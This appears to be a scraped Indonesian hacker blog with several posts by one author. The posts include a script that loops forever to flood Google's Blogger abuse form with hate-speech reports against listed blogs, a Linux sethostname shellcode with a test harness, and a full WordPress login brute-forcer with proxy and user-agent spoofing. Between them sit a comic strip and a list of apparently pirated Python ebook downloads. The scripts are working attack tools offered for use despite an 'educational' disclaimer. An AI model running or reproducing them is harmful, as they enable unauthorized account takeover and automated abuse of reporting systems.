domainreporter.py | malaysia hate speech domain report
well, sebelumnya mohon maaf blog ini belum terdapat update dalam beberapa minggu
dikarenakan penulis sedang sibuk dengan research yg harus dikerjakan .
ok, awalnya saya tadi liat blog http://indonbodoh.blogspot.com
tentu saya sebagai orang indonesia sangat geram dengan perlakuan ini,
daripada saya ikut berkomentar tidak jelas di blog itu, tentunya saya lebih baik memikirkan bagaimana blog tersebut hilang selamanya
dan ternyata teman saya juga melaporkan list blog yang telah melecehkan indonesia
yep semakin senang saya, karena mudah2an bisa jadi sasaran empuk program ini…
dan listnya sebagai berikut…
http://indonbodoh.blogspot.com/
http://indoncelaka.blogspot.com/
http://ihateindon.blogspot.com/
http://dontvisitindon2008.blogspot.com/
http://kamiantiindon.blogspot.com/
http://arezeo.blogspot.com/
http://sayabenciindon.blogspot.com/
http://www.penipuan-jawa.blogspot.com/
dan saya pun memilih untuk membuat program untuk report ke google
karena site tersebut sangat mengandung hate speech
saya berharap akan lenyap karena telah di report ke database dalam jumlah banyak
tentunya lebih membantu jika teman2 ikut menjalankan program ini
berikut adalah sourcecodenya :
#!/usr/bin/python
# programmer : gunslinger_ <yudha.gunslinger@gmail.com>
# please use this tools to vanish that domain, i hope google responds this !
# this program is defeated form encryption multipart/form-data
# so you need to install http://pypi.python.org/pypi/MultipartPostHandler/0.1.0 python module
# tips :
# - extract the folder
# - python setup.py build
# - sudo python setup.py install
# then program ready to rock !
import urllib2, random, sys
try:
import MultipartPostHandler
except ImportError:
print "[*] Please install MultipartPostHandler first"
def main():
try:
domain = ['http://indonbodoh.blogspot.com/',
'http://indoncelaka.blogspot.com/',
'http://ihateindon.blogspot.com/',
'http://dontvisitindon2008.blogspot.com/',
'http://kamiantiindon.blogspot.com/',
'http://arezeo.blogspot.com/',
'http://sayabenciindon.blogspot.com/',
'http://www.penipuan-jawa.blogspot.com/'
]
ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
'Microsoft Internet Explorer/4.0b1 (Windows 95)',
'Opera/8.00 (Windows NT 5.1; U; en)',
'amaya/9.51 libwww/5.4.0',
'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
success = 'Thanks for reporting this possible Terms of Service violation. We will examine it soon and take action as necessary.'
opener = urllib2.build_opener(MultipartPostHandler.MultipartPostHandler)
counter = 1
while 1:
opener.addheaders = [('User-agent', random.choice(ouruseragent))]
params = { 'extra.blog_URL' : random.choice(domain)
}
openserver = opener.open('http://www.google.com/support/blogger/bin/request.py?hl=en&ctx=submitted&confirm=hate_speech', params)
result = openserver.read()
if success in result:
sys.stdout.write("%s[*] %s way success reporting domain %s to google ! %s" % ("\r", int(counter), params['extra.blog_URL'], " "*80))
sys.stdout.flush()
else:
print "[*] Failed ! please try again !"
sys.exit(1)
counter = int(counter) + 1
except KeyboardInterrupt:
print "\n[*] Exiting program\n"
sys.exit(1)
except urllib2.HTTPError:
print "\n[*] Connections problem, please try again !\n"
sys.stdout(1)
if __name__ == '__main__':
print "domainreporter.py"
print "gunslinger_ <yudha.gunslinger@gmail.com>"
main()
action :

ps : sekali lagi mohon maaf penulis belum bisa menulis beberapa artikel di blog ini, dikarenakan sedang disibukan oleh sesuatu…
images from codecomics.com for programmer
Well , this is my fav jokes in the weeks from codecomics.com…
nice for refreshing too .. lol ..
check this out !
~~~~~~~~
Our characters are mice and rats that represent the profesionals of the software industry.
We use this archetype because most of these people develop dirty,
badly documented code without quality criteria.
We are tired of this behavior and we want to contribute with healthy ideas
in order to bring better results for everyone.
Max (Programmer & Architect)

Max is a programmer that uses technology for its own sake.
His ideas are not the most intelligent in the universe,
but he knows how to entertain his collegues with his geek style.
His body cannot live without coffee and his brilliant mind is dependent on that substance.
Besides programming, Max is a great architect (well, at least he thinks this way)
and he knows how to create multi-layered complex architectures (mainly when this is not necessary).
Max’s dream is to own an Open Source project just to become famous.
He is not concerned about the utility of the project for the community.
Mix (Programmer & Database Administrator)

Mix is a cool programmer that likes data storage mechanisms.
He doesn’t really know the difference between relational and object-oriented databases,
but this should not be a problem since the persistency layer will abstract these and other details
(let’s forgive him for now).
Mix does not care if his job is boring and his productivity is low.
He just blames the company and the former programmers for the problems of the spaghetti code.
He also ignore other oportunities that could make his life more challenging.
As long as the company pays correctly, the job is fine for him.
Jim (Manager)

Jim is the manager of the team. His thoughts on
how to control employees are not in the psychology books,
and sometimes he just pretents to be unaware of problems
just to check the sanity of the developers (or simply to drive them crazy).
Jim claims to be very smart and has created his own management rules.
By the way, pragmatism and gratitude are not in his vocabulary.
In his opinion, the developer’s productivity should not depend on the work environment.
If this is not the case, pressure can be used to push the team forward.








python programming ebook
Here i have python programming books
i hope you can enjoy !
Apress Beginning Python From Novice To Professional
Click Here To Download
Beginning Game Development With Python And Pygame
Click Here To Download
Beginning Python From Novice To Professional
Click Here To Download
Beginning Python Apress
Click Here To Download
Beginning Python From Novice To Professional Second Editiontqw darksiderg
Click Here To Download
Beginning Python W-r-o-x
Click Here To Download
Beginning Python
Click Here To Download
Computer Programming Python Programming Language Tutorial
Click Here To Download
Core Python Programming.
Click Here To Download
Distributing Python Modules
Click Here To Download
Foundations Of Agile Python Development
Click Here To Download
Game1 Programming With Python Lua And Rubye Book
Click Here To Download
Game Programming With Python Lua and Ruby 2
Click Here To Download
How To Think Like A Computer Scientist With Python
Click Here To Download
John Wiley And Sons Making Use of Python e-Book
Click Here To Download
Learning Python
Click Here To Download
Learning Python 3rd
Click Here To Download
Lessa Python Developers Handbook Sams
Click Here To Download
LM15 Python
Click Here To Download
Python How To Program
Click Here To Download
Python 21 Bible
Click Here To Download
Python Cookbook
Click Here To Download
Python Essential Reference 2nd Edition
Click Here To Download
Python Library Reference
Click Here To Download
Python Scripting For Computational Science
Click Here To Download
Python XML
Click Here To Download
Python For Unix And Linux System Administration
Click Here To Download
Python Developers Handbook Sams
Click Here To Download
Python 2 1 Bible
Click Here To Download
python notes
Click Here To Download
Rapid GUI Programming with Python and QtOct
Click Here To Download
Rapid Python Web Application Development
Click Here To Download
Springer Python Scripting For Computational Science 3rd Edition
Click Here To Download
Thinking in Python Bruce Eckel Rev
Click Here To Download
webpython The Definitive Guide To Plone
Click Here To Download
set hostname to c0debreaker linux shellcode
This shellcode is make your hostname to c0debreaker…
/*
Title : sethostname to "c0debreaker" linux shellcode .
Name : 37 bytes sethostname to "c0debreaker" linux .
Date : Fri Aug 6 21:41:20 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char shellcode[] =
"\xeb\x13" /* jmp 0x8048075 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x4a" /* mov $0x4a,%al */
"\x5b" /* pop %ebx */
"\x31\xc9" /* xor %ecx,%ecx */
"\xb1\x0b" /* mov $0xb,%cl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x01" /* mov $0x1,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe8\xff\xff\xff" /* call 0x8048062 */
"\x63\x30" /* arpl %si,(%eax) */
"\x64\x65\x62\x72\x65" /* bound %esi,%fs:%gs:0x65(%edx) */
"\x61" /* popa */
"\x6b" /* .byte 0x6b */
"\x65" /* gs */
"\x72"; /* .byte 0x72 */
int main(void)
{
fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}
wpbruteforcer.py
This is python script that try to brute forcing wp-login on wordpress site .
#!/usr/bin/python
# This is wordpress bruteforcer tools
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will not be responsible for any damage !!
# Toolname : wpbruteforcer.py
# Programmer : gunslinger_ <yudha.gunslinger@gmail.com>
# Version : 1.0
# Date : Wed Aug 4 13:38:13 WIT 2010
import re
import os
import sys
import random
import warnings
import time
try:
import mechanize
except ImportError:
print "[*] Please install mechanize python module first"
sys.exit(1)
except KeyboardInterrupt:
print "\n[*] Exiting program...\n"
sys.exit(1)
try:
import cookielib
except ImportError:
print "[*] Please install cookielib python module first"
sys.exit(1)
except KeyboardInterrupt:
print "\n[*] Exiting program...\n"
sys.exit(1)
warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
# define variable
__programmer__ = "gunslinger_ <yudha.gunslinger@gmail.com>"
__version__ = "1.0"
verbose = False
useproxy = False
usepassproxy = False
log = 'wpbruteforcer.log'
file = open(log, "a")
success = 'Dashboard'
# some cheating ..
ouruseragent = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
'Microsoft Internet Explorer/4.0b1 (Windows 95)',
'Opera/8.00 (Windows NT 5.1; U; en)',
'amaya/9.51 libwww/5.4.0',
'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
]
wordpress = '''
_
| |
__ _____ _ __ __| |_ __ _ __ ___ ___ ___
\ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __|
\ V V / (_) | | | (_| | |_) | | | __/\\__ \\__ \\
\_/\_/ \\___/|_| \__,_| .__/|_| \\___||___/___/
| |
|_| bruteforcer...
Programmer : %s
Version : %s''' % (__programmer__, __version__)
option = '''
Usage : %s [options]
Option : -t, --target <hostname> | Site for bruteforce wp-admin
-u, --username <username> | User for bruteforcing
-w, --wordlist <filename> | Wordlist used for bruteforcing
-v, --verbose | Set %s will be verbose (more talkactiveable)
-p, --proxy <host:port> | Set http proxy will be use
-k, --usernameproxy <username> | Set username at proxy will be use
-i, --passproxy <password> | Set password at proxy will be use
-l, --log <filename> | Specify output filename (default : fbbruteforcer.log)
-h, --help <help> | Print this help
Example : %s -t target.com -u jack -w wordlist.txt"
P.S : add "&" to run in the background
''' % (sys.argv[0], sys.argv[0], sys.argv[0])
hme = '''
Usage : %s [option]
-h or --help for get help
''' % sys.argv[0]
def helpme():
print wordpress
print option
file.write(wordpress)
file.write(option)
sys.exit(1)
def helpmee():
print wordpress
print hme
file.write(wordpress)
file.write(hme)
sys.exit(1)
for arg in sys.argv:
try:
if arg.lower() == '-u' or arg.lower() == '--user':
username = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == '-t' or arg.lower() == '--target':
target = sys.argv[int(sys.argv[1:].index(arg))+2]
if "http://" in target:
target = target.replace("http://","")
if "www." in target:
target = target.replace("www.","")
targetsite = "http://www."+target+"/wp-login.php"
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-l' or arg.lower() == '--log':
log = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-p' or arg.lower() == '--proxy':
useproxy = True
proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-k' or arg.lower() == '--userproxy':
usepassproxy = True
usw = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-i' or arg.lower() == '--passproxy':
usepassproxy = True
usp = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-v' or arg.lower() == '--verbose':
verbose = True
elif arg.lower() == '-h' or arg.lower() == '--help':
helpme()
elif len(sys.argv) <= 1:
helpmee()
except IOError:
helpme()
except NameError:
helpme()
except IndexError:
helpme()
def bruteforce(word):
try:
sys.stdout.write("\r[*] Trying %s... \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t " % word)
file.write("[*] Trying %s\n" % word)
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(ouruseragent))]
opensite = br.open(targetsite)
br.select_form(nr=0)
br.form['log'] = username
br.form['pwd'] = word
br.submit()
response = br.response().read()
if verbose:
print response
if success in response:
print "\n\n[*] Logging in success..."
print "[*] Username : %s" % (username)
print "[*] Password : %s\n" % (word)
file.write("\n[*] Logging in success...")
file.write("\n[*] Username : %s" % (username))
file.write("\n[*] Password : %s\n\n" % (word))
sys.exit(1)
except KeyboardInterrupt:
print "\n[*] Exiting program...\n"
sys.exit(1)
except mechanize._mechanize.FormNotFoundError:
print "\n[*] Can't launch attack sorry, form is different\n"
file.write("\n[*] Can't launch attack sorry, form is different\n")
sys.exit(1)
except mechanize._form.ControlNotFoundError:
print "\n[*] Can't launch attack sorry, form is different\n"
file.write("\n[*] Can't launch attack sorry, form is different\n")
sys.exit(1)
def releaser():
global word
for word in words:
bruteforce(word.replace("\n",""))
def main():
global br
global words
try:
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_debug_http(False)
br.set_debug_redirects(False)
br.set_debug_redirects(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
if useproxy:
br.set_proxies({"http": proxy})
if usepassproxy:
br.add_proxy_password(usw, usp)
if verbose:
br.set_debug_http(True)
br.set_debug_redirects(True)
br.set_debug_redirects(True)
except KeyboardInterrupt:
print "\n[*] Exiting program...\n"
file.write("\n[*] Exiting program...\n")
sys.exit(1)
try:
preventstrokes = open(wordlist, "r")
words = preventstrokes.readlines()
count = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except IOError:
print "\n[*] Error: Check your wordlist path\n"
file.write("\n[*] Error: Check your wordlist path\n")
sys.exit(1)
except NameError:
helpme()
except KeyboardInterrupt:
print "\n[*] Exiting program...\n"
file.write("\n[*] Exiting program...\n")
sys.exit(1)
try:
print wordpress
print "\n[*] Starting attack at %s" % time.strftime("%X")
print "[*] Target site : %s" % (targetsite)
print "[*] Account for bruteforcing \"%s\"" % (username)
print "[*] Loaded :",len(words),"words"
print "[*] Bruteforcing wp-login, please wait..."
file.write(wordpress)
file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
file.write("\n[*] Target site : %s" % (targetsite))
file.write("\n[*] Account for bruteforcing \"%s\"" % (username))
file.write("\n[*] Loaded : %d words" % int(len(words)))
file.write("\n[*] Bruteforcing wp-login, please wait...\n")
except KeyboardInterrupt:
print "\n[*] Exiting program...\n"
sys.exit(1)
try:
releaser()
bruteforce(word)
except NameError:
helpme()
if __name__ == '__main__':
main()
screenshot :

6 Comments 







recent comment